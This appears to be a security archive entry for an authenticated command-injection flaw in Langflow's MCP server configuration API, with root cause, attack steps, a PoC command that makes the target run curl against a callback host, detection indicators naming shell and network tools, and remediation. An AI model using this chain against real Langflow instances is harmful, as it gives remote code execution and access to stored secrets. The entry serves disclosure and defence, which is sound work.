IBM Langflow OSS Authenticated OS Command Injection via MCP Server Configuration (CVE-2026-93674)
Published: 2026-11-25 • Researcher: Richard Howe (rmhowe425) — PoC; IBM PSIRT — advisory
- Severity
- Critical
- CVE
- CVE-2026-93674
- Category
- web
- Affected product
- IBM Langflow OSS (Langflow AI application builder; MCP server management API)
- Affected versions
- 1.0.0 through 1.12.2 (NVD CPE range >= 1.0.0, < 1.12.3; fixed in 1.12.3)
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-93674
- https://www.ibm.com/support/pages/node/7290694
- https://github.com/rmhowe425/POC-CVE-2026-93674
- https://github.com/langflow-ai/langflow
- https://cwe.mitre.org/data/definitions/94.html
- https://github.com/langflow-ai/langflow/blob/main/src/backend/base/langflow/api/v2/mcp.py
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-09-21 |
| Author / Researcher | Richard Howe (rmhowe425) — PoC; IBM PSIRT — advisory |
| CVE / Advisory | CVE-2026-93674 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized |
| Tags | langflow, RCE, OS-command-injection, authenticated, MCP, AI-platform, Python, CWE-94, post-auth, FastAPI |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | IBM Langflow OSS (Langflow AI application builder; MCP server management API) |
| Versions Affected | 1.0.0 through 1.12.2 (NVD CPE range >= 1.0.0, < 1.12.3; fixed in 1.12.3) |
| Language / Platform | Python (PoC); Langflow server is Python/FastAPI, typically deployed on Linux (pip or container) |
| Authentication Required | Yes — the archived PoC logs in at /api/v1/login; IBM/NVD still score it PR:N, see Notes |
| Network Access Required | Yes |
Summary
IBM Langflow OSS 1.0.0 through 1.12.2 does not properly neutralize special elements used in an OS command when an external MCP server is configured, allowing a remote attacker to execute arbitrary code on the host. The archived PoC authenticates to a Langflow instance, stores an MCP stdio server whose command and args fields point at an arbitrary program, and then requests the server listing with action counting enabled, which makes Langflow launch the configured process while discovering the server’s tools. Because that endpoint returns only the discovered tool count, execution is blind and confirmation needs an out-of-band channel. Successful exploitation gives code execution as the Langflow service account, exposing stored credentials, databases and connected data sources.
Vulnerability Details
Root Cause
Langflow’s MCP server management API accepts a user-supplied command and argument list for stdio MCP servers and persists it as server configuration. When the platform enumerates the configured servers (GET /api/v2/mcp/servers with action_count enabled), it starts each stdio server through its MCP client in order to list the tools it exposes, so an attacker-controlled command string is passed to process execution without adequate neutralization. IBM classifies this as CWE-94, improper neutralization of special elements used in an OS command / code injection. The 1.12.3 fix is the vendor’s remediation; current upstream code additionally restricts local stdio MCP launch to administrators when custom code execution is restricted (see references).
Attack Vector
- Attacker authenticates to the Langflow API with valid credentials (POST /api/v1/login) and obtains a bearer token.
- Attacker sends POST /api/v2/mcp/servers/
with a JSON body such as {“command”: “ ”, “args”: [" "]}, creating a new MCP stdio server entry (or overwriting an existing one). - Attacker sends GET /api/v2/mcp/servers?action_count=true, which makes Langflow launch every configured stdio server to count its tools.
- The configured command runs on the server as the Langflow service account; the response exposes only the resulting tool count, so output must be retrieved out of band.
Impact
Remote code execution as the user running Langflow, commonly root in container deployments. An attacker can read application configuration and secrets, access the Langflow database and connected data sources, pivot into internal networks reachable from the Langflow host, or disrupt the platform. Because the channel is blind, an operator normally uses a reverse shell, an out-of-band callback, or a command that writes a file under the service account’s permissions.
Environment / Lab Setup
OS: Ubuntu 22.04 LTS (upstream PoC testing platform)
Target: Langflow OSS 1.0.0 - 1.12.2 (e.g. installed with pip or the
langflowai/langflow container) listening on TCP/7860
Attacker: Python 3 with the requests library (pip install requests)
Tools: Python 3, curl, an out-of-band listener (e.g. netcat) for
blind confirmationSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
- Start the target — deploy an affected Langflow release (for example 1.9.0) on an isolated host and confirm that TCP/7860 responds.
- Prepare credentials and a callback — create a Langflow account for the test and start a listener or a writable drop location that the target can reach, so the blind execution can be confirmed.
- Run the exploit — invoke the archived script with the target URL, credentials, command and arguments. The PoC sends the args value as a single list element, so prefer a binary that accepts one argument (curl, wget) rather than embedded shell syntax.Shell script
1 2 3python3 poc.py -u http://127.0.0.1:7860 \ -uname labuser -pword 'LabPassword123!' \ -c curl -a "http://10.0.0.5:8000/cve-2026-93674" - Trigger the launch — the script performs the login, the MCP server creation and the action-count request automatically; the final GET is what starts the configured process.
- Confirm out of band — check the listener or callback endpoint; the API response itself does not return command output.
Exploit Code
See
poc.pyin this folder; the upstream usage notes are inupstream-README.md.
The script performs three requests:
| |
The equivalent manual request sequence is:
| |
Expected Output
| |
The API only reports whether the stdio server could be contacted (mode, tool count, and an error string), and exact fields vary by release. Command output is not echoed back; the upstream README links execution and output screenshots from its own lab, but those images are not archived here. On a real test the operator confirms execution through the out-of-band callback chosen in step 2.
Detection & Indicators of Compromise
POST /api/v1/login (token acquisition)
POST /api/v2/mcp/servers/<random-name> (JSON body with "command" and "args")
GET /api/v2/mcp/servers?action_count=true (triggers process launch)
- Unexpected child processes of the Langflow service (bash, sh, curl, wget,
netcat, python -c) with arguments matching recently created MCP configs
- New MCP server entries with absolute paths or shell interpreters as command
- Outbound connections from the Langflow host to unfamiliar hosts
- Files written under /tmp or the service account's home by the service userSIEM / IDS rules (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Langflow OSS to 1.12.3 or later; IBM’s bulletin lists 1.12.3 as the fix for 1.0.0 - 1.12.2. |
| Workaround | IBM lists no workarounds. Until upgrading, remove the Langflow instance’s exposure to untrusted networks and restrict MCP server management to administrators where the deployed release supports it. |
| Config Hardening | Run Langflow as a non-root, unprivileged user in a container, restrict egress traffic, disable or do not install unused MCP servers, audit accounts that can reach MCP endpoints, and monitor creation of MCP server entries with shell or absolute-path commands. |
References
Notes
Auto-ingested from https://github.com/rmhowe425/POC-CVE-2026-93674 on 2026-11-25.
Review verdict: this is a real PoC, not a detector or scanner. The script authenticates, stores an MCP stdio server whose command and args are attacker-controlled, and triggers Langflow’s tool-discovery path, which launches the configured process. The chain is a functional end-to-end exploit; execution is blind because the API only returns mode and tool count, so command output must be collected out of band. The repository has no LICENSE file, so no license is granted; the code is archived with attribution for authorized research only. The upstream README’s two screenshots are hosted on GitHub user-attachments and were not copied.
Discrepancies and limitations: NVD and IBM score the issue PR:N, while the PoC requires valid credentials and only exercises the authenticated MCP configuration path; unauthenticated impact would depend on an instance that exposes the MCP API or allows default/auto login. The script header claims testing on 1.5.0 - 1.9.0, whereas NVD lists 1.0.0 - 1.12.2 as affected. The code calls sys.exit without importing sys, so the failed-login branch raises NameError instead of exiting cleanly; it does not delete the MCP server entry it creates, it passes the args value as a single list element, and it targets the v2 MCP API specifically. No exploit code was executed and no live target was touched while creating this entry. Use only against systems you own or have written authorization to test.
| |